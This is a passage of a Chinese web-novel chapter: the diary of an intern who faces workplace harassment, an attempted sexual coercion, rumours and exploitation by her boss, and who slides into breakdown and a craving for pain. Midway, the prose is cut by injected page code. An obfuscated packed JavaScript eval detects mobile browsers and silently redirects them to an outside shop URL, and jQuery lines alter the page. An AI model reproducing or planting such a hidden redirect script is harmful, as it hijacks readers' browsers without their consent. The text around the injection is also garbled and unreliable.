我叫米卡，我想要辞职。


    入职前，hr分明说公司早九晚六，实行单休制，可我从进来的第一天算起，没有一次早于晚九点下班。


    休息日加班也是常态。


    作为同一批入职者，我的面试成绩最高，学历也最高，是唯一一个接受过精英区教育的人。


    我原本以为，培训结束后我会被分配到专业对口的精密技术研发部，可是前辈姐姐很委婉地暗示我，技术研发部目前还没有女生在那里工作过。


    我问，是因为入职者里女性的能力偏低吗？


    前辈说不是的，只是在初筛阶段就把我们排除了。


    “技术研发部门是不允许离岗的，所以考虑到女孩子的身体，以及日后的孕产期涉及的休假，为了照顾你们，特地给你们安排了相对轻松的业务。”


    可是，我来这里是为了招聘信息上写的“高端研发技术”。


    我想要接触芯片类的研发。


    我想要升职，我要当总监。


    听了前辈的话，虽然有些失望，但没关系。


    我可以等转正，转正之后会让大家看到我的能力。


    实习期，我接触的第一份工作，只是一堆杂活，每项任务看着不难，却繁琐得很。我不明白，为什么明明有高端智能算法解决的事，一定要人工来操作。


    总不能是故意折磨我吧？


    而且，跟同事们相处第一天，我就发现，他们很喜欢聚在一起聊八卦。


    每一个名字从那些人口中说出，仿佛都是十恶不赦，该被践踏的。


    我最开始也以为，他们说的就是真相。


    这里不得不提起一个人，茶壶。


    他跟我是同届入职的员工，每次写下这个名字的时候，我都会痛苦无比，想吐，想把自己的肚子挖空。


    只是写下了他的名字，我就觉得，我好像被他搞脏了。


    最开始，他找我帮过几次小忙，礼尚往来的我们也就熟悉了。


    我以为他人还不错，可以作为朋友相处着试试看。


    结果他第二次约我见面时就想跟我上床。


    我那天逃了。


    用脚从西南岬角跑回的临瑚区，因为那天是他开车，威胁我，如果我不答应，就把我丢在海边。


    还有两个小时就是宵禁，我的手环还被他扯掉了。


    我实在没办法。


    那天之后，我就去报名了悬浮车的驾驶培训。


    也是那天之后，我再不肯搭任何人的顺风车。


    后来，不知怎么，在那些八卦中，我听到了我的名字。


    茶壶在传我的谣言。


    他说我在和他约会期间出轨其他男人。


    说我吊着他，折磨他，玩弄他。


    我被起各种肮脏的外号，茶壶常在别人面前开玩笑说，谁跟我挨得近，头顶就会冒绿光。


    我最喜欢的颜色成了我最不堪的底色。


    “我记得入职介绍时问她最喜欢的颜色，她说绿色呢，哈哈哈，真是什么人就喜欢什么东西。”


    “跟她挺配的，多配呀，是吧？”


    说这句话的，是带我入职的前辈，铃铛。


    我的同期纷纷转正了，只有我被延长了考核期。


    母亲病着，我急需钱。


    我申请了城防区的补助，以及贷款，勉强度日。


    工作越来越多了。


    我一个人要分担两个人的工作。


    我感觉好累啊，可比我早几年进来的同事说，他们也是这么忙过来的。


    我这个实习生，还需要多多历练。


    为了尽快转正，我不敢抱怨了。


    其实，我独自生活惯了，有没有朋友对我影响并不大。


    高中的同学、大学的同学，只要是人群多的地方，总会有这样的事。


    八卦、谣言、霸凌、小团体。


    这很正常，我又不是脆弱的人。之前怎么挺过来的，现在也一样。


    真正折磨我，让我受不了的，是我入职半年后接手的工作。


    当时正值年末，内部人员经历过一次大变动，我直属上司变成了一位男士，名叫季傲。


    是的，他没有花名。


    因为他负责的所有工作都是我干的。


    季傲是我的直属上司，他只比我年长五岁。


    他的学历是从黑市买来的，听说，他是世特骏老总王爱丹的侄子。


    嗯，这样就好理解，他为什么明明是领导，却什么都不会。


    我在精英区读书时做过志愿者，教那些生活不能自理的低智儿童都没有像现在这么心累过。


    他不懂，但是他必须在别人面前懂。


    在我离转正考核还有半个月的时候，他喊我参加一个公司内部会议，说，老总有急事找他，让我帮帮忙。


    帮帮忙。


    就这一次，就这一次就行。


    看在同事的面子上，看在上司的面子上。


    当时我太天真啊，怎么会相信，这种事只会发生一次呢？


    凡事只要开了头，就是无底洞。


    那种会议明明是需要主管以上的领导才有资格参加的，而我，作为实习生，被他带去旁听。


    不过，参会记录和出席各大场合的名单里，登记的只有季傲的名字。


    我成了他不为人知的透明助手。


    我没有假期，没有休息时间，我二十四小时随时都可能接到各种各样能称作我“上司”的电话。


    因为是我的上司，因为能决定我考核期间的去留，因为我马上就能转正。


    我总安慰自己熬过去就好了，可需要熬到什么时候，才能看见光亮呢？


    每次加班到宵禁结束后，回宿舍时，我总是感到恐怖，身后的公司大楼在尚未亮透的天空下，像一个对我张开黑色嘴巴的怪物。


    我好像病了，开始害怕电话响。


    我总是在深夜惊醒，以为主管又来催工作。


    长期睡眠不足让我变得越来越瘦，越来越不爱吃饭。


    就好像，我自己在PUA我自己。


    明明痛苦至极，偶尔遇到点谈不上开心的小事，大脑就不自觉劝说身体，再坚持坚持。


    有时工作到一半，我会突然起身去打扫办公室，擦桌子、扫地、整理文件，洗手，反复地洗手，仿佛手沾了什么脏污。


    每隔半小时我就要用消毒纸擦一遍电子屏幕，写字时，我会把出现错别字或者沾了墨点的纸撕烂，然后重新开始。


    如果说，开始我还会因为悲伤变得安静，现在我做什么都会搞出很大的动静，让所有人都知道我的不爽，我越来越冷漠，越来越没礼貌。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581861|134845||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>越来越被人讨厌。


    我越来越喜欢苦味的食物和痛觉，因为只有寻求刺激时，才会感觉到自己的情绪在波动。


    也许是diy时强烈的快感，也许是发呆时虚无的怅惘，也许是痛哭时感受水分从身体流失的安心。


    我好像越来越偏离正常的轨道，可怕的是连我自己都不知道，这变化是什么时候发生的。


    我有时会在网上发牢骚，网友都劝我看开一点，接受现实，要学会拥抱生活。


    如果你迈不过眼前的坎，它只会绊倒你无数次，直到你学会迈过去。


    可我在这无休止的折磨中，依旧没能领悟迈过去的方法。


    我很想知道，到底该怎么做才能爱上自己讨厌的事物？


    我清楚是我的不合群带来了这一系列的苦恼，可真的只是我有问题吗？


    我就像一个被困在罐子里，失去身体的大脑。除了想东想西，做不了任何事。


    就连我都躯体也成为了牢笼，我的思维无法保持在平稳的波动范围，我变成了静态的自己，脱离了世界运转的轨道。


    而写下这篇日记的时候，我的耳边仍然充斥着电脑的低频噪音，还有停不下来的人语声。


    我失去了自己引以为豪的能力，我的后背和肚子很痛，一到晚上我会看不清东西，总有电话铃声在耳边响。


    就在刚刚，季傲还在催我给他发一份文件。


    那项工作我早在三天前就交给过他。


    而且也是三天前，我低血糖昏倒在了食堂。


    醒来的时候，我仍然躺在食堂的地上，身上湿漉漉的，全是潲水味。


    不知道被谁泼的。


    我的幻听越来越严重了。


    “你再帮帮他，帮他一次吧，不然公司就要运转不下去了。”


    啊哈，原来我一个实习生有这么大的能耐啊。


    有一次在吃饭的时候，我又接到了这种电话，通讯还没断的时候，我直接吐到了餐盘里。


    桌上的同事们尖叫着躲开。


    “什么啊，太恶心了。”


    是啊，我感到太恶心了，所以才吐了出来。


    可是，所有人都觉得我恶心。


    可能是崩溃过太多次，到后来我已经麻木了，甚至觉得挺正常。


    生日那天，是工作表格陪我度过了一晚。


    我其实知道，有些痛苦是我自己找来的。


    因为该死的心软，因为轻易的动摇，因为一无是处的责任感。我被迫帮助很多人做了很多本不该我做的工作。


    从小母亲就教育我要善良，要乐于助人，要体谅别人。


    走出象牙塔后，没有人告诉过我，我应该反抗，应该斗争，应该自私一点。


    如果被欺负的时候还要站在别人的角度考虑，那就是可恨的活该的。


    我总会在想，为什么没人去指责他们呢？


    因为所有人都是“他们”。


    包括我也是。


    *


    日记在这一页出现了中断。


    俞灵闭上酸痛的眼睛，休息片刻。


    她想起一件久远的往事。


    城防区有一座城市叫艾弗戈林城，是疯狂的艺术家们的栖息地。


    它之所以被艺术家们拥护，是那里诞生过一个首次通过诗集传播的污染程序。